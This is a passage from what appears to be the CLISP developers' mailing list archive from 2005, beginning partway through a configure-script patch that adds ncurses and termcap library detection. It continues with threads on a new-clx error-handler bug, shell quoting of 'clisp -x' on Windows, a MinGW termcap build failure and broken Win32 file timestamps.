+                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_a"
+              else
+                                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir -l$name"
+              fi
+            fi
+                        additional_includedir=
+            case "$found_dir" in
+              */lib | */lib/)
+                basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'`
+                additional_includedir="$basedir/include"
+                ;;
+            esac
+            if test "X$additional_includedir" != "X"; then
+                                                                                                                if test "X$additional_includedir" != "X/usr/include"; then
+                haveit=
+                if test "X$additional_includedir" = "X/usr/local/include"; then
+                  if test -n "$GCC"; then
+                    case $host_os in
+                      linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                    esac
+                  fi
+                fi
+                if test -z "$haveit"; then
+                  for x in $CPPFLAGS $INCNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                    if test "X$x" = "X-I$additional_includedir"; then
+                      haveit=yes
+                      break
+                    fi
+                  done
+                  if test -z "$haveit"; then
+                    if test -d "$additional_includedir"; then
+                                            INCNCURSES="${INCNCURSES}${INCNCURSES:+ }-I$additional_includedir"
+                    fi
+                  fi
+                fi
+              fi
+            fi
+                        if test -n "$found_la"; then
+                                                        save_libdir="$libdir"
+              case "$found_la" in
+                */* | *\\*) . "$found_la" ;;
+                *) . "./$found_la" ;;
+              esac
+              libdir="$save_libdir"
+                            for dep in $dependency_libs; do
+                case "$dep" in
+                  -L*)
+                    additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
+                                                                                                                                                                if test "X$additional_libdir" != "X/usr/lib"; then
+                      haveit=
+                      if test "X$additional_libdir" = "X/usr/local/lib"; then
+                        if test -n "$GCC"; then
+                          case $host_os in
+                            linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                          esac
+                        fi
+                      fi
+                      if test -z "$haveit"; then
+                        haveit=
+                        for x in $LDFLAGS $LIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$additional_libdir"
+                          fi
+                        fi
+                        haveit=
+                        for x in $LDFLAGS $LTLIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$additional_libdir"
+                          fi
+                        fi
+                      fi
+                    fi
+                    ;;
+                  -R*)
+                    dir=`echo "X$dep" | sed -e 's/^X-R//'`
+                    if test "$enable_rpath" != no; then
+                                                                  haveit=
+                      for x in $rpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        rpathdirs="$rpathdirs $dir"
+                      fi
+                                                                  haveit=
+                      for x in $ltrpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        ltrpathdirs="$ltrpathdirs $dir"
+                      fi
+                    fi
+                    ;;
+                  -l*)
+                                        names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
+                    ;;
+                  *.la)
+                                                                                names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
+                    ;;
+                  *)
+                                        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$dep"
+                    LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$dep"
+                    ;;
+                esac
+              done
+            fi
+          else
+                                                            LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name"
+            LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-l$name"
+          fi
+        fi
+      fi
+    done
+  done
+  if test "X$rpathdirs" != "X"; then
+    if test -n "$hardcode_libdir_separator"; then
+                        alldirs=
+      for found_dir in $rpathdirs; do
+        alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir"
+      done
+            acl_save_libdir="$libdir"
+      libdir="$alldirs"
+      eval flag=\"$hardcode_libdir_flag_spec\"
+      libdir="$acl_save_libdir"
+      LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag"
+    else
+            for found_dir in $rpathdirs; do
+        acl_save_libdir="$libdir"
+        libdir="$found_dir"
+        eval flag=\"$hardcode_libdir_flag_spec\"
+        libdir="$acl_save_libdir"
+        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag"
+      done
+    fi
+  fi
+  if test "X$ltrpathdirs" != "X"; then
+            for found_dir in $ltrpathdirs; do
+      LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-R$found_dir"
+    done
+  fi
+
+    ac_cv_libncurses_libs="$LIBNCURSES"
+    ac_cv_libncurses_ltlibs="$LTLIBNCURSES"
+    ac_cv_libncurses_cppflags="$INCNCURSES"
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_libncurses_libs" >&5
+echo "${ECHO_T}$ac_cv_libncurses_libs" >&6
+  LIBNCURSES="$ac_cv_libncurses_libs"
+  LTLIBNCURSES="$ac_cv_libncurses_ltlibs"
+  INCNCURSES="$ac_cv_libncurses_cppflags"
+
+  for element in $INCNCURSES; do
+    haveit=
+    for x in $CPPFLAGS; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      if test "X$x" = "X$element"; then
+        haveit=yes
+        break
+      fi
+    done
+    if test -z "$haveit"; then
+      CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element"
+    fi
+  done
+
+
+
+      HAVE_LIBNCURSES=yes
+
+
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking how to link with libtermcap" >&5
+echo $ECHO_N "checking how to link with libtermcap... $ECHO_C" >&6
+if test "${ac_cv_libtermcap_libs+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+
+
+
+    use_additional=yes
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+    eval additional_includedir=\"$includedir\"
+    eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+
+# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given.
+if test "${with_libtermcap_prefix+set}" = set; then
+  withval="$with_libtermcap_prefix"
+
+    if test "X$withval" = "Xno"; then
+      use_additional=no
+    else
+      if test "X$withval" = "X"; then
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+          eval additional_includedir=\"$includedir\"
+          eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      else
+        additional_includedir="$withval/include"
+        additional_libdir="$withval/lib"
+      fi
+    fi
+
+fi;
+      LIBTERMCAP=
+  LTLIBTERMCAP=
+  INCTERMCAP=
+  rpathdirs=
+  ltrpathdirs=
+  names_already_handled=
+  names_next_round='termcap '
+  while test -n "$names_next_round"; do
+    names_this_round="$names_next_round"
+    names_next_round=
+    for name in $names_this_round; do
+      already_handled=
+      for n in $names_already_handled; do
+        if test "$n" = "$name"; then
+          already_handled=yes
+          break
+        fi
+      done
+      if test -z "$already_handled"; then
+        names_already_handled="$names_already_handled $name"
+                        uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'`
+        eval value=\"\$HAVE_LIB$uppername\"
+        if test -n "$value"; then
+          if test "$value" = yes; then
+            eval value=\"\$LIB$uppername\"
+            test -z "$value" || LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$value"
+            eval value=\"\$LTLIB$uppername\"
+            test -z "$value" || LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$value"
+          else
+                                    :
+          fi
+        else
+                              found_dir=
+          found_la=
+          found_so=
+          found_a=
+          if test $use_additional = yes; then
+            if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then
+              found_dir="$additional_libdir"
+              found_so="$additional_libdir/lib$name.$shlibext"
+              if test -f "$additional_libdir/lib$name.la"; then
+                found_la="$additional_libdir/lib$name.la"
+              fi
+            else
+              if test -f "$additional_libdir/lib$name.$libext"; then
+                found_dir="$additional_libdir"
+                found_a="$additional_libdir/lib$name.$libext"
+                if test -f "$additional_libdir/lib$name.la"; then
+                  found_la="$additional_libdir/lib$name.la"
+                fi
+              fi
+            fi
+          fi
+          if test "X$found_dir" = "X"; then
+            for x in $LDFLAGS $LTLIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+              case "$x" in
+                -L*)
+                  dir=`echo "X$x" | sed -e 's/^X-L//'`
+                  if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then
+                    found_dir="$dir"
+                    found_so="$dir/lib$name.$shlibext"
+                    if test -f "$dir/lib$name.la"; then
+                      found_la="$dir/lib$name.la"
+                    fi
+                  else
+                    if test -f "$dir/lib$name.$libext"; then
+                      found_dir="$dir"
+                      found_a="$dir/lib$name.$libext"
+                      if test -f "$dir/lib$name.la"; then
+                        found_la="$dir/lib$name.la"
+                      fi
+                    fi
+                  fi
+                  ;;
+              esac
+              if test "X$found_dir" != "X"; then
+                break
+              fi
+            done
+          fi
+          if test "X$found_dir" != "X"; then
+                        LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$found_dir -l$name"
+            if test "X$found_so" != "X"; then
+                                                        if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then
+                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+              else
+                                                                                haveit=
+                for x in $ltrpathdirs; do
+                  if test "X$x" = "X$found_dir"; then
+                    haveit=yes
+                    break
+                  fi
+                done
+                if test -z "$haveit"; then
+                  ltrpathdirs="$ltrpathdirs $found_dir"
+                fi
+                                if test "$hardcode_direct" = yes; then
+                                                      LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+                else
+                  if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then
+                                                            LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+                                                            haveit=
+                    for x in $rpathdirs; do
+                      if test "X$x" = "X$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      rpathdirs="$rpathdirs $found_dir"
+                    fi
+                  else
+                                                                                haveit=
+                    for x in $LDFLAGS $LIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                      if test "X$x" = "X-L$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir"
+                    fi
+                    if test "$hardcode_minus_L" != no; then
+                                                                                        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+                    else
+                                                                                                                                                                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name"
+                    fi
+                  fi
+                fi
+              fi
+            else
+              if test "X$found_a" != "X"; then
+                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_a"
+              else
+                                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir -l$name"
+              fi
+            fi
+                        additional_includedir=
+            case "$found_dir" in
+              */lib | */lib/)
+                basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'`
+                additional_includedir="$basedir/include"
+                ;;
+            esac
+            if test "X$additional_includedir" != "X"; then
+                                                                                                                if test "X$additional_includedir" != "X/usr/include"; then
+                haveit=
+                if test "X$additional_includedir" = "X/usr/local/include"; then
+                  if test -n "$GCC"; then
+                    case $host_os in
+                      linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                    esac
+                  fi
+                fi
+                if test -z "$haveit"; then
+                  for x in $CPPFLAGS $INCTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                    if test "X$x" = "X-I$additional_includedir"; then
+                      haveit=yes
+                      break
+                    fi
+                  done
+                  if test -z "$haveit"; then
+                    if test -d "$additional_includedir"; then
+                                            INCTERMCAP="${INCTERMCAP}${INCTERMCAP:+ }-I$additional_includedir"
+                    fi
+                  fi
+                fi
+              fi
+            fi
+                        if test -n "$found_la"; then
+                                                        save_libdir="$libdir"
+              case "$found_la" in
+                */* | *\\*) . "$found_la" ;;
+                *) . "./$found_la" ;;
+              esac
+              libdir="$save_libdir"
+                            for dep in $dependency_libs; do
+                case "$dep" in
+                  -L*)
+                    additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
+                                                                                                                                                                if test "X$additional_libdir" != "X/usr/lib"; then
+                      haveit=
+                      if test "X$additional_libdir" = "X/usr/local/lib"; then
+                        if test -n "$GCC"; then
+                          case $host_os in
+                            linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                          esac
+                        fi
+                      fi
+                      if test -z "$haveit"; then
+                        haveit=
+                        for x in $LDFLAGS $LIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$additional_libdir"
+                          fi
+                        fi
+                        haveit=
+                        for x in $LDFLAGS $LTLIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$additional_libdir"
+                          fi
+                        fi
+                      fi
+                    fi
+                    ;;
+                  -R*)
+                    dir=`echo "X$dep" | sed -e 's/^X-R//'`
+                    if test "$enable_rpath" != no; then
+                                                                  haveit=
+                      for x in $rpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        rpathdirs="$rpathdirs $dir"
+                      fi
+                                                                  haveit=
+                      for x in $ltrpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        ltrpathdirs="$ltrpathdirs $dir"
+                      fi
+                    fi
+                    ;;
+                  -l*)
+                                        names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
+                    ;;
+                  *.la)
+                                                                                names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
+                    ;;
+                  *)
+                                        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$dep"
+                    LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$dep"
+                    ;;
+                esac
+              done
+            fi
+          else
+                                                            LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name"
+            LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-l$name"
+          fi
+        fi
+      fi
+    done
+  done
+  if test "X$rpathdirs" != "X"; then
+    if test -n "$hardcode_libdir_separator"; then
+                        alldirs=
+      for found_dir in $rpathdirs; do
+        alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir"
+      done
+            acl_save_libdir="$libdir"
+      libdir="$alldirs"
+      eval flag=\"$hardcode_libdir_flag_spec\"
+      libdir="$acl_save_libdir"
+      LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag"
+    else
+            for found_dir in $rpathdirs; do
+        acl_save_libdir="$libdir"
+        libdir="$found_dir"
+        eval flag=\"$hardcode_libdir_flag_spec\"
+        libdir="$acl_save_libdir"
+        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag"
+      done
+    fi
+  fi
+  if test "X$ltrpathdirs" != "X"; then
+            for found_dir in $ltrpathdirs; do
+      LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-R$found_dir"
+    done
+  fi
+
+    ac_cv_libtermcap_libs="$LIBTERMCAP"
+    ac_cv_libtermcap_ltlibs="$LTLIBTERMCAP"
+    ac_cv_libtermcap_cppflags="$INCTERMCAP"
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_libtermcap_libs" >&5
+echo "${ECHO_T}$ac_cv_libtermcap_libs" >&6
+  LIBTERMCAP="$ac_cv_libtermcap_libs"
+  LTLIBTERMCAP="$ac_cv_libtermcap_ltlibs"
+  INCTERMCAP="$ac_cv_libtermcap_cppflags"
+
+  for element in $INCTERMCAP; do
+    haveit=
+    for x in $CPPFLAGS; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      if test "X$x" = "X$element"; then
+        haveit=yes
+        break
+      fi
+    done
+    if test -z "$haveit"; then
+      CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element"
+    fi
+  done
+
+
+
+      HAVE_LIBTERMCAP=yes
+
+
+
 LIBTERMCAP="broken"
 echo "$as_me:$LINENO: checking for library containing tgetent" >&5
 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6
@@ -35223,7 +36083,10 @@
 s,@X_LIBS@,$X_LIBS,;t t
 s,@GMALLOC@,$GMALLOC,;t t
 s,@ALLOCA@,$ALLOCA,;t t
+s,@LIBNCURSES@,$LIBNCURSES,;t t
+s,@LTLIBNCURSES@,$LTLIBNCURSES,;t t
 s,@LIBTERMCAP@,$LIBTERMCAP,;t t
+s,@LTLIBTERMCAP@,$LTLIBTERMCAP,;t t
 s,@PACKAGE@,$PACKAGE,;t t
 s,@LIBOBJS@,$LIBOBJS,;t t
 s,@LTLIBOBJS@,$LTLIBOBJS,;t t


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With clisp-2.35 and new-clx, given these functions:

(defun error-handler (&rest ignore)
  )

(defun clx-test ()
  (let ((display (xlib:open-display "" :display 0)))
    (setf (xlib:display-error-handler display) 'error-handler)
    (xlib:close-display *display)))

running (clx-test) gives:

*** - XLIB::SET-DISPLAY-ERROR-HANDLER: ERROR-HANDLER is not of type XLIB:DISPLAY

Seems like a problem with argument order...

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thanks, fixed in the CVS
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Hi

When I try to execute someting simple like:
clisp -norc -x '(print (+ 2 2))'

I get a message:
GNU CLISP: -x with lisp-file is invalid: '(+'

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Andrew Stebakov writes:
> Hi
> 
> When I try to execute someting simple like:
> clisp -norc -x '(print (+ 2 2))'
> 
> I get a message:
> GNU CLISP: -x with lisp-file is invalid: '(+'
> 
> What do I do wrong?

I don't know. Here it works ok:

$ /usr/local/bin/clisp -norc -x '(print (+ 2 2))'
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005


4 
4
Bye.


Perhaps you're using a braindead shell.  
Aren't you using a unix system?
Aren't you using sh, bash or ksh?
Have you defined clisp as an alias?


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I am using native CLisp 2.35 on Windows XP.
I tried it at home with my CLisp 2.33 on Linux and it
works there.

Andrew

--- Pascal Bourguignon <pjb@informatimago.com> wrote:

> Andrew Stebakov writes:
> > Hi
> > 
> > When I try to execute someting simple like:
> > clisp -norc -x '(print (+ 2 2))'
> > 
> > I get a message:
> > GNU CLISP: -x with lisp-file is invalid: '(+'
> > 
> > What do I do wrong?
> 
> I don't know. Here it works ok:
> 
> $ /usr/local/bin/clisp -norc -x '(print (+ 2 2))'
>   i i i i i i i       ooooo    o        ooooooo  
> ooooo   ooooo
>   I I I I I I I      8     8   8           8     8  
>   o  8    8
>   I  \ `+' /  I      8         8           8     8  
>      8    8
>    \  `-+-'  /       8         8           8     
> ooooo   8oooo
>     `-__|__-'        8         8           8        
>   8  8
>         |            8     o   8           8     o  
>   8  8
>   ------+------       ooooo    8oooooo  ooo8ooo  
> ooooo   8
> 
> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam
> Steingold 1998
> Copyright (c) Bruno Haible, Sam Steingold 1999-2000
> Copyright (c) Sam Steingold, Bruno Haible 2001-2005
> 
> 
> 4 
> 4
> Bye.
> 
> 
> Perhaps you're using a braindead shell.  
> Aren't you using a unix system?
> Aren't you using sh, bash or ksh?
> Have you defined clisp as an alias?
> 
> 
> -- 
> A: Because it messes up the order in which people
> normally read text.
> Q: Why is top-posting such a bad thing?
> A: Top-posting.
> Q: What is the most annoying thing on usenet and in
> e-mail?
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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2005-10-08 12:54:36 -0700]:
>
> When I try to execute someting simple like:
> clisp -norc -x '(print (+ 2 2))'
>
> I get a message:
> GNU CLISP: -x with lisp-file is invalid: '(+'
>
> What do I do wrong?

you are using a brain-dead shell that ignores ' for the purposes of
quoting.
try #\" instead of #\':

clisp -norc -x "(print (+ 2 2))"



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Yes, it works. Thanks!!!

--- Sam Steingold <sds@gnu.org> wrote:

> > * Andrew Stebakov <nfgronxbi@lnubb.pbz>
> [2005-10-08 12:54:36 -0700]:
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> > When I try to execute someting simple like:
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> >
> > I get a message:
> > GNU CLISP: -x with lisp-file is invalid: '(+'
> >
> > What do I do wrong?
> 
> you are using a brain-dead shell that ignores ' for
> the purposes of
> quoting.
> try #\" instead of #\':
> 
> clisp -norc -x "(print (+ 2 2))"
> 
> 
> 
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Date: Sun Oct  9 14:23:21 2005
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Andrew Stebakov writes:
> --- Pascal Bourguignon <pjb@informatimago.com> wrote:
> 
> > Andrew Stebakov writes:
> > > 
> > > When I try to execute someting simple like:
> > > clisp -norc -x '(print (+ 2 2))'
> > > 
> > > I get a message:
> > > GNU CLISP: -x with lisp-file is invalid: '(+'
> > > 
> > > What do I do wrong?
> >
> > Perhaps you're using a braindead shell.  
> > Aren't you using a unix system?
> > Aren't you using sh, bash or ksh?
> > Have you defined clisp as an alias?
>
> I am using native CLisp 2.35 on Windows XP.
> I tried it at home with my CLisp 2.33 on Linux and it
> works there.

It might be a good idea to avoid top-posting. The right order allow
you to follow the logic in the discussion more easily.


So you're using MS-Windows and you're surprized something doesn't work?
I'm not.

The MS-Windows shell you're using must have some specific rules about
the way to write arguments that contain spaces.  Perhaps it wants
double-quotes intead of single-quote?  I've no idea.  May I suggest
you to read the manual page of this MS-Windows shell?

Actually, my real advice is to install at least cygwin if you really
must deal with MS-Windows, or install a true OS, like Linux, FreeBSD
or Solaris.  In cygwin, you've got a normal bash shell, and you won't
have these problems.

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Date: Mon Oct 10 01:45:37 2005
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Sam Steingold wrote:

> oops  -  here is the correct patch.

has not helped again:

./configure --with-mingw --with-readline \
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            --with-module=postgresql --with-module=rawsock \
            --with-module=wildcard --with-module=zlib \
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            --with-libpcre-prefix=/usr/local \
            --with-libtermcap-prefix=/usr/local \
            --with-libreadline-prefix=/usr/local \
            --with-libpq-prefix=c:/PostgreSQL/8.0 \
            --build build-full

configure.log:
...
configure:25568: checking for library containing tgetent
configure:25598: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c  >&5
C:/Temp/cc23aaaa.o(.text+0x19): In function `main':
C:/gnu/home/src/clisp/clisp/build-full/conftest.c:90: undefined
reference to `tgetent'
...
configure:25653: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c -lncurses   >&5
C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
cannot find -lncurses
...
configure:25653: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  conftest.c -ltermcap   >&5
C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
cannot find -ltermcap
...
LTLIBTERMCAP='-L/usr/local/lib -ltermcap'

Thanks.

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Sam Steingold wrote:

> because win32 time functions are broken.
> http://cpan.uwinnipeg.ca/htdocs/Win32-UTCFileTime/Win32/UTCFileTime.html
> 

Thanks. Oops.

use checked function?

(defun set-file-write-date (file-name file-date)
  (POSIX:SET-FILE-STAT file-name :MTIME file-date)
  (let ((diff (- file-date (file-write-date file-name))))
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:(

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Date: Mon Oct 10 06:43:27 2005
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-10 15:58:28 +0300]:
>
> Sam Steingold wrote:
>
>> because win32 time functions are broken.
>> http://cpan.uwinnipeg.ca/htdocs/Win32-UTCFileTime/Win32/UTCFileTime.html
>> 
>
> Thanks. Oops.
>
> use checked function?
>
> (defun set-file-write-date (file-name file-date)
>   (POSIX:SET-FILE-STAT file-name :MTIME file-date)
>   (let ((diff (- file-date (file-write-date file-name))))
>     (unless (zerop diff)
>       (POSIX:SET-FILE-STAT file-name :MTIME (+ file-date diff)))))
>
> :(

I think I fixed this issue using the instructions in the aforementioned page...

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Date: Mon Oct 10 08:10:30 2005
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-10 11:45:35 +0300]:
>
> Sam Steingold wrote:
>
>> oops  -  here is the correct patch.
>
> has not helped again:
>
> ./configure --with-mingw --with-readline \
>             --with-module=dirkey --with-module=pcre \
>             --with-module=postgresql --with-module=rawsock \
>             --with-module=wildcard --with-module=zlib \
>             --with-module=bindings/win32 \
>             --with-libpcre-prefix=/usr/local \
>             --with-libtermcap-prefix=/usr/local \
>             --with-libreadline-prefix=/usr/local \
>             --with-libpq-prefix=c:/PostgreSQL/8.0 \
>             --build build-full

how about this patch?

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Index: configure
===================================================================
RCS file: /cvsroot/clisp/clisp/src/configure,v
retrieving revision 1.135
diff -u -w -u -b -w -i -B -r1.135 configure
--- configure	6 Oct 2005 02:10:27 -0000	1.135
+++ configure	10 Oct 2005 15:07:01 -0000
@@ -871,6 +871,7 @@
   --with-libsigsegv-prefix[=DIR]  search for libsigsegv in DIR/include and DIR/lib
   --without-libsigsegv-prefix     don't search for libsigsegv in includedir and libdir
   --with-x                use the X Window System
+  --with-libtermcap-prefix=DIR  search for ncurses and termcap in DIR/include and DIR/lib
   --with-readline         use readline (default is YES, if present)
   --with-libreadline-prefix[=DIR]  search for libreadline in DIR/include and DIR/lib
   --without-libreadline-prefix     don't search for libreadline in includedir and libdir
@@ -24707,6 +24708,15 @@
 { echo "$as_me:$LINENO: * checks for libraries" >&5
 echo "$as_me: * checks for libraries" >&6;}
 
+
+# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given.
